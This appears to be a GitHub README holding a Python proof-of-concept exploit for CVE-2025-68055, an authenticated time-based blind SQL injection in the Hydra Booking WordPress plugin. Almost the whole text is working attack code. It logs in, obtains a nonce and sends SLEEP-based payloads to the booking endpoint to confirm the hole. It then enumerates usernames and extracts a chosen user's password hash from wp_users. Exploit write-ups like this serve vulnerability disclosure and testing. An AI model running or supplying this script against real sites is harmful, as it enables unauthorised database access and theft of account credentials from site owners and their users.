README.md
Rendering markdown...
#!/usr/bin/env python3
import sys
import requests
import argparse
import time
def wordpress_login(session: requests.Session, url: str, login: str, password: str) -> str:
endpoint = url + "/wp-login.php"
data = {
"log": login,
"pwd": password,
"wp-submit": "Log In",
"redirect_to": url + "/wp-admin/admin.php?page=hydra-booking",
"testcookie": 1
}
cookies = {
"wordpress_test_cookie": "WP Cookie check"
}
try:
res = session.post(
endpoint,
data=data,
verify=False,
allow_redirects=False,
cookies=cookies)
except Exception as e:
print("[FATAL] Failed to perform login request : " + str(e))
exit(-1)
if res.status_code == 200:
print("[FATAL] Invalid credentials")
exit(-1)
if res.status_code != 302:
print("[FATAL] Failed to login for unknown causes")
exit(-1)
# fetch nonce
endpoint = url+"/wp-admin/admin-ajax.php?action=rest-nonce"
res = session.get(endpoint)
return res.text
def send_payload(session: requests.Session, url: str, payload: str) -> int:
endpoint = url + "/wp-json/hydra-booking/v1/booking/create"
data = {
"id": payload
}
start = int(time.time())
res = session.post(endpoint, json=data)
end = int(time.time())
if res.status_code != 200:
print("[FATAL] Failed to perform SQL injection")
exit(-1)
return end - start
def generate_payload(char_offset: int, group_offset: int, column_name: str, table_name: str, cond=""):
payload = f"foobar' AND (SELECT 1 FROM (select (case field(concat(substring(lpad(bin(ascii(substring({column_name}, {char_offset}, 1))), 8, '0'), {group_offset}, 2)), '00', '10', '01', '11') when 1 then TRUE when 2 then SLEEP(2) when 3 then SLEEP(4) when 4 then SLEEP(6) end) FROM {table_name} {cond})fHas) AND 'a'='a"
return payload
def extract_password(session: requests.Session, url: str, target: str):
ext = ""
blocks = ['00', '10', '01', '11']
idx = 1
print(f"Dumping pasword hash of {target} : ", end="", flush=True)
while True:
bits = ""
for i in range(1, 9, 2):
payload = generate_payload(idx, i, "user_pass", "wp_users", cond=f"WHERE user_login='{target}' LIMIT 1")
diff = send_payload(session, url, payload)
bits += blocks[diff//2]
idx += 1
new = int(bits, 2)
if new == 0:
break
else:
ext += chr(new)
print(chr(new), end='', flush=True)
print()
def dump_users(session: requests.Session, url: str):
print("Listing users from wp_users table : ")
count = 0
while True:
print("- ", end="", flush=True)
ext = ""
blocks = ['00', '10', '01', '11']
idx = 1
while True:
bits = ""
for i in range(1, 9, 2):
payload = generate_payload(idx, i, "user_login", "wp_users", f"LIMIT 1 OFFSET {count}")
diff = send_payload(session, url, payload)
bits += blocks[diff//2]
idx += 1
new = int(bits, 2)
if new == 0:
break
else:
ext += chr(new)
print(chr(new), end='', flush=True)
count += 1
print()
if not ext:
break
def is_vulnerable(session, url: str):
diff = send_payload(session, url, "foobar' AND (SELECT 1 FROM (SELECT SLEEP(5))fHas) AND 'a'='a")
return diff >= 5
def exploit(url: str, login: str, password: str, list_users: bool, dump_password: str):
session = requests.Session()
nonce = wordpress_login(session, url, login, password)
print("[+] Successfully logged in to wordpress !")
print("[+] Wordpress Nonce :", nonce)
session.headers.update({
"X-WP-Nonce": nonce
})
print("[*] Checking if target is vulnerable...")
if is_vulnerable(session, url):
print("[+] TARGET IS VULNERABLE")
else:
print("[-] TARGET IS NOT VULNERABLE.")
exit(-1)
if dump_password:
extract_password(session, url, dump_password)
elif list_users:
dump_users(session, url)
if __name__ == "__main__":
parser = argparse.ArgumentParser(
prog='CVE-2025-68055',
description='POC for authenticated SQLi in Hydra Booking WP-Plugin',
epilog='Author: Nosiume')
parser.add_argument('--url', '-u', help='url of the target wordpress endpoint', required=True)
parser.add_argument("--login", "-l", help='username of the account', required=True)
parser.add_argument("--password", "-p", help='password of the account', required=True)
parser.add_argument("--list-users", help="List users using Time-Based Blind SQLi ", action="store_true")
parser.add_argument("--dump-password", help="dumps the password of the given user")
args = parser.parse_args(sys.argv[1:])
exploit(args.url, args.login, args.password, args.list_users, args.dump_password)